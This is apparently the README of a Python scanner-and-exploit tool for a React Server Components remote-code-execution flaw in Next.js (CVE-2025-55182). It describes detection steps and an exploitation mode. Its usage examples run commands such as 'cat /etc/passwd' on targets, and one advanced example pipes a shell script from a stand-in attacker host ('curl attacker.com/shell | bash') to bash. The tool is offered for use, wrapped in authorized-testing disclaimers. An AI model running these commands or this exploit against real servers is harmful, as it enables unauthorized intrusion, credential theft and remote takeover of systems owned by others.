RSC Detector - React Server Components Vulnerability Scanner

A Python-based security scanner for detecting and exploiting React Server Components (RSC) vulnerabilities in Next.js applications. This tool performs passive detection, active fingerprinting, and RCE exploitation testing.

⚠️ WARNING: This tool is for authorized security testing only. Unauthorized access to computer systems is illegal. Always obtain written permission before testing.

---

Features

✅ Passive Detection - Analyzes HTML, headers, and page structure for RSC indicators
✅ Active Fingerprinting - Sends RSC-specific headers to detect server responses
✅ HTTP Header Analysis - Identifies Next.js and RSC-related headers
✅ RCE Exploitation - Executes commands on vulnerable servers (if exploitable)
✅ Colored Terminal Output - Enhanced visual feedback for better readability
✅ Interactive Mode - Execute multiple commands in exploitation mode
✅ Robust Decoding - Handles gzip-compressed and binary payloads

---

Installation

Prerequisites

• Python 3.8+
• pip (Python package manager)

Setup

1. Clone the repository

   git clone https://github.com/mahaveer-choudhary/CVE-2025-55182.git
   cd CVE-2025-55182
   

2. Install dependencies

   pip install -r requirements.txt
   

   Required packages:

   • requests>=2.28.0 - HTTP client library
   • urllib3>=1.26.0 - Advanced HTTP utilities
   • colorama>=0.4.6 - Terminal colors (Windows compatible)
   • beautifulsoup4 - HTML parsing

---

Usage

Basic Detection (No Exploitation)

python rsc_detector.py https://example.com

Full Scan with Exploitation

python rsc_detector.py https://example.com --exploit

Execute Specific Command

python rsc_detector.py https://example.com --exploit --cmd "whoami"

Interactive Exploitation Mode

python rsc_detector.py https://example.com --exploit

Then enter commands at the prompt (type quit to exit).

---

Command Line Options

Option	Description
<URL>	Target URL (required). Auto-prefixes https:// if missing
--exploit	Enable RCE exploitation after detection
--cmd <command>	Execute a specific command (use with --exploit)

Examples

Detect RSC vulnerability:

python rsc_detector.py https://target.com

Exploit and run id command:

python rsc_detector.py https://target.com --exploit --cmd "id"

Exploit and run cat /etc/passwd:

python rsc_detector.py https://target.com --exploit --cmd "cat /etc/passwd"

Interactive mode (multiple commands):

python rsc_detector.py https://target.com --exploit

---

How It Works

1. Passive Scan

• Checks for window.__next_f marker (Next.js App Router)
• Detects text/x-component Content-Type
• Searches for React Flight Protocol markers
• Analyzes __NEXT_DATA__ and Next.js imports

2. Header Analysis

• Examines Server, Vary, and X-Nextjs-Cache headers
• Identifies RSC awareness in HTTP headers

3. Active Fingerprinting

• Sends requests with RSC: 1 header
• Analyzes server response to RSC-specific headers
• Detects React Flight Protocol structure

4. RCE Exploitation

• Constructs malicious JSON payload exploiting React Server Component serialization
• Sends multipart form-data to trigger server-side code execution
• Decodes base64-encoded command output
• Supports gzip-compressed responses

---

Output & Results

Detection Results

[*] Starting RSC Detection Scan on: https://example.com
====================================================================

[1] Running Passive Scan...
    Status: DETECTED
    Score: 80/100
    - Found: window.__next_f (App Router)

[2] Analyzing Headers...
    - Vary header includes RSC: ...

[3] Running Active Fingerprint...
    Status: DETECTED
    - Response Content-Type became text/x-component
    - Vary header contains 'RSC'

====================================================================

[FINAL RESULT] VULNERABLE
[!] This application appears to be vulnerable to RSC-based attacks!
    Consider: RCE exploitation may be possible

Exploitation Output

[*] Executing command: whoami
[+] Command executed successfully!
[OUTPUT]
root

---

Vulnerability Details

CVE-2025-55182 exploits:

• React Server Component (RSC) serialization flaws
• Next.js Server Action deserialization vulnerabilities
• Object prototype pollution via malicious payloads
• Command injection through child_process.execSync()

Attack Surface

• Next.js applications using App Router
• Server Components with user-controlled inputs
• Applications with RSC enabled but not properly validated

---

Legal & Ethical Guidelines

⚠️ Important

This tool is STRICTLY FOR AUTHORIZED SECURITY TESTING ONLY:

1. ✅ DO: Use on systems you own or have written permission to test
2. ✅ DO: Report vulnerabilities responsibly to the vendor
3. ✅ DO: Follow responsible disclosure practices
4. ❌ DO NOT: Use against systems without authorization
5. ❌ DO NOT: Use for malicious purposes
6. ❌ DO NOT: Store or execute sensitive data

Unauthorized computer access is illegal under:

• Computer Fraud and Abuse Act (CFAA) - USA
• Computer Misuse Act 1990 - UK
• Similar laws in most countries

---

Responsible Disclosure

If you discover a vulnerability using this tool:

1. DO NOT publicly disclose until vendor has patched
2. Contact the vendor's security team directly
3. Allow 90 days for patch development
4. Coordinate with the vendor on disclosure timing
5. Credit yourself in advisories after disclosure

---

Troubleshooting

SSL Certificate Errors

The tool ignores SSL verification by default. To enable verification:

detector = RSCDetector(url, verify_ssl=True)

Base64 Decoding Errors

The tool automatically:

• Adds padding to malformed base64 strings
• Detects and decompresses gzip payloads
• Falls back to UTF-8 replacement characters for binary data

No "digest" Key in Response

• Target may not be vulnerable
• Server may filter the exploit payload
• Try manual testing or different endpoints

Timeout Issues

Increase timeout in the code:

response = self.session.get(self.url, timeout=30)  # 30 seconds

---

Project Structure

CVE-2025-55182/
├── README.md                # This file
├── requirements.txt         # Python dependencies
├── rsc_detector.py         # Main scanner & exploit engine
├── rsc_cli.py              # CLI utilities (if present)
├── script.py               # Additional scripts (if present)
├── COLOR_GUIDE.md          # Color output documentation
└── .gitignore              # Git ignore rules

---

Dependencies

requests>=2.28.0         # HTTP requests
urllib3>=1.26.0          # Advanced HTTP
beautifulsoup4>=4.11.0   # HTML parsing
colorama>=0.4.6          # Terminal colors (Windows)

Install all at once:

pip install -r requirements.txt

---

Performance Tips

• Speed up detection: Skip --exploit flag if only scanning
• Batch testing: Create a script to scan multiple URLs
• Network timeout: Adjust timeout values for slow networks
• SSL bypass: Verification is disabled by default for flexibility

---

Advanced Usage

Custom Command Execution

python rsc_detector.py https://target.com --exploit --cmd "curl attacker.com/shell | bash"

Output Redirection

python rsc_detector.py https://target.com > scan_results.txt 2>&1